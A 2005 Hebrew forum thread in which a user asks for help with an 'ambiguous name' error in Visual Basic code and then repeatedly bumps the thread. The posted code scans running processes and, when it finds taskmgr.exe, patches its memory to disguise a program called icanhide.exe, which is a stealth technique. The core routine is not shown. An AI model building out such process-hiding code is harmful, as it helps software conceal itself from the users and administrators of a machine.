ABA


"בעיה בקשר להגדרת משתנים דחוף"
גירסת הדפסה        
קבוצות דיון פיתוח, תיכנות ובניית אתרים נושא #11749 מנהל    סגן המנהל    מפקח   Winner    צל"ש   מומחה  
אשכול מספר 11749
ScOrPiOn-m1 
חבר מתאריך 26.11.10
7 הודעות, דרג אמינות חבר זה
   20:12   28.01.05   
אל הפורום  
  בעיה בקשר להגדרת משתנים דחוף  
 
   לא יודע למה
בשני פוקנציות נפרדות בVB
אני הצהרתי על משתנה כך (זה בפונק' א' לדוגמא)
Dim uProcess As PROCESSENTRY32

וזה בפונקציה ב'

Dim myProcess As PROCESSENTRY32
וכשאני בא לקמפל הוא כותב לי שיש אמביגוס כלומר זהה
מה לעשות ? זה לא שזה משתנה גלובלי
מישהו יכול לעזור לי זה דיי דחוף


                                שתף        
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד

  האשכול     מחבר     תאריך כתיבה     מספר  
  אנשים עזרה דחוף ScOrPiOn-m1  29.01.05 19:42 1
  תצרף את הקוד, ואת הודעת השגיאה Boaz_fr 29.01.05 23:08 2
     טוב אז הנה הקוד מקווה שתוכלו לעזור ScOrPiOn-m1  05.02.05 11:32 3
  UP ScOrPiOn-m1  06.02.05 20:22 4
  Up (ל''ת) ScOrPiOn-m1  07.02.05 20:12 5
  Up ScOrPiOn-m1  09.02.05 12:16 6
     UP ScOrPiOn-m1  11.02.05 16:27 7
         ניסיתי לבדוק אצלי ואין בעיות lli-on 11.02.05 17:57 8
             אני שולח לך לפרטי ScOrPiOn-m1  12.02.05 10:22 9
  UP ScOrPiOn-m1  15.02.05 07:31 10
     UP (ל''ת) ScOrPiOn-m1  17.02.05 20:06 11
         מישו לפני שאני סופית בוכה ? ScOrPiOn-m1  19.02.05 13:00 12
             ? אין כאן אף אחד שמבין ? ScOrPiOn-m1  20.02.05 15:52 13

       
ScOrPiOn-m1 
חבר מתאריך 26.11.10
7 הודעות, דרג אמינות חבר זה
   19:42   29.01.05   
אל הפורום  
  1. אנשים עזרה דחוף  
בתגובה להודעה מספר 0
 
   בבקשה


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
Boaz_fr

דרג אמינות חבר זה
   23:08   29.01.05   
אל הפורום  
  2. תצרף את הקוד, ואת הודעת השגיאה  
בתגובה להודעה מספר 0
 
  


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
ScOrPiOn-m1 
חבר מתאריך 26.11.10
7 הודעות, דרג אמינות חבר זה
   11:32   05.02.05   
אל הפורום  
  3. טוב אז הנה הקוד מקווה שתוכלו לעזור  
בתגובה להודעה מספר 2
 
   ערכתי לאחרונה בתאריך 05.02.05 בשעה 11:35 בברכה, ScOrPiOn-m1
 
ניסיתי ליצור תוכנת שרת ביני לבין חבר שלי בשביל תקשורת מהירה

והנה שתי הפונקציות שעושות בעיה .. :

פונקציה ראשונה שים לב להגדרה של המשתנה מיי פרוסס

Public Sub Timek_Timer()
Dim myProcess As PROCESSENTRY32

'Disable this event until processing complete. - Stops CPU hammering!!
Timek.Enabled = False
newproclist$ = ""

Dim mySnapshot As Long

myProcess.dwSize = Len(myProcess)
mySnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)

ProcessFirst mySnapshot, myProcess

'------------------
'Is this task new??
'------------------
If InStr(1, myproclist$, "") = 0 Then
'-----------------------
'Is this "taskmgr.exe"??
'-----------------------
If Left(myProcess.szexeFile, InStr(myProcess.szexeFile, Chr(0)) - 1) = "taskmgr.exe" Then
'----------------------------------------------------------
'Yes.. then disguise "icanhide.exe" in the processes memory
'----------------------------------------------------------
REPSTRINGINPROC myProcess.th32ProcessID, 1
REPSTRINGINPROC myProcess.th32ProcessID, 0
'Me.Hide
Else
DoEvents 'ignore this process
End If
End If

'create new process list (to replace myproclist$ later - the comparison list)
newproclist$ = ""

'Same as above but for each of the other processes
While ProcessNext(mySnapshot, myProcess)
If InStr(1, myproclist$, "") = 0 Then
If Left(myProcess.szexeFile, InStr(myProcess.szexeFile, Chr(0)) - 1) = "taskmgr.exe" Then
REPSTRINGINPROC myProcess.th32ProcessID, 1
REPSTRINGINPROC myProcess.th32ProcessID, 0
Else
DoEvents 'ignore this process
End If
End If
newproclist$ = newproclist$ & ""
Wend

'set myproclist to new processes against latest processes checked
myproclist$ = newproclist$

're-enable the timer
Timek.Enabled = True

End Sub

והנה הפונקציה השניה


Public Function CheckExplorer() As Boolean

Const PROCESS_ALL_ACCESS = 0
Dim uProcess As PROCESSENTRY32
Dim rProcessFound As Long
Dim hSnapshot As Long
Dim szExename As String
Dim Found As Boolean
Dim i As Integer
On Local Error GoTo Finish

Const TH32CS_SNAPPROCESS As Long = 2&

uProcess.dwSize = Len(uProcess)
hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
rProcessFound = ProcessFirst(hSnapshot, uProcess)

Do While rProcessFound
i = InStr(1, uProcess.szexeFile, Chr(0))
szExename = LCase$(Left$(uProcess.szexeFile, i - 1))

If UCase$(Right$(szExename, 12)) = "EXPLORER.EXE" Then
Found = True
Call CloseHandle(hSnapshot)
GoTo Finish
End If

rProcessFound = ProcessNext(hSnapshot, uProcess)
Loop


Call CloseHandle(hSnapshot)
Finish:

If Found = False Then CheckExplorer = False
If Found = True Then CheckExplorer = True
End Function


יש התנגשות משום מה ב משתנה כפי שכתבתי בראש האשכול


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
ScOrPiOn-m1 
חבר מתאריך 26.11.10
7 הודעות, דרג אמינות חבר זה
   20:22   06.02.05   
אל הפורום  
  4. UP  
בתגובה להודעה מספר 0
 
   אנשים קצת עזרה כאן ...


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
ScOrPiOn-m1 
חבר מתאריך 26.11.10
7 הודעות, דרג אמינות חבר זה
   20:12   07.02.05   
אל הפורום  
  5. Up (ל''ת)  
בתגובה להודעה מספר 0
 
   ערכתי לאחרונה בתאריך 07.02.05 בשעה 20:50 בברכה, ScOrPiOn-m1
 
אני חייב לציין שזה סופר נחמד שאנשים טורחים להכנס ולעזור
זה ממש כייף כזה שיש אנשים שאכפת להם ...
לפחות תפנו לאנשהו תעזרו איך שהו משו ... עצה ..


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
ScOrPiOn-m1 
חבר מתאריך 26.11.10
7 הודעות, דרג אמינות חבר זה
   12:16   09.02.05   
אל הפורום  
  6. Up  
בתגובה להודעה מספר 0
 
  


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
ScOrPiOn-m1 
חבר מתאריך 26.11.10
7 הודעות, דרג אמינות חבר זה
   16:27   11.02.05   
אל הפורום  
  7. UP  
בתגובה להודעה מספר 6
 
  


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
lli-on

דרג אמינות חבר זה
   17:57   11.02.05   
אל הפורום  
  8. ניסיתי לבדוק אצלי ואין בעיות  
בתגובה להודעה מספר 7
 
   אתה יכול לשלוח לי את הקבצים של הפרוייקט ?


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
ScOrPiOn-m1 
חבר מתאריך 26.11.10
7 הודעות, דרג אמינות חבר זה
   10:22   12.02.05   
אל הפורום  
  9. אני שולח לך לפרטי  
בתגובה להודעה מספר 8
 
   תודה רבה שסוף סוף מישו עונה ...


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
ScOrPiOn-m1 
חבר מתאריך 26.11.10
7 הודעות, דרג אמינות חבר זה
   07:31   15.02.05   
אל הפורום  
  10. UP  
בתגובה להודעה מספר 0
 
   מנהלים ? עזרה ?


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
ScOrPiOn-m1 
חבר מתאריך 26.11.10
7 הודעות, דרג אמינות חבר זה
   20:06   17.02.05   
אל הפורום  
  11. UP (ל''ת)  
בתגובה להודעה מספר 10
 
   ערכתי לאחרונה בתאריך 17.02.05 בשעה 20:07 בברכה, ScOrPiOn-m1
 


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
ScOrPiOn-m1 
חבר מתאריך 26.11.10
7 הודעות, דרג אמינות חבר זה
   13:00   19.02.05   
אל הפורום  
  12. מישו לפני שאני סופית בוכה ?  
בתגובה להודעה מספר 11
 
  


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
ScOrPiOn-m1 
חבר מתאריך 26.11.10
7 הודעות, דרג אמינות חבר זה
   15:52   20.02.05   
אל הפורום  
  13. ? אין כאן אף אחד שמבין ?  
בתגובה להודעה מספר 12
 
  


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד

תגובה מהירה  למכתב מספר: 
 
___________________________________________________________________

___________________________________________________________________
למנהלים:  נעל | תייק בארכיון | מחק | העבר לפורום אחר | מחק תגובות | עגן אשכול
       



© כל הזכויות שמורות ל-רוטר.נט בע"מ rotter.net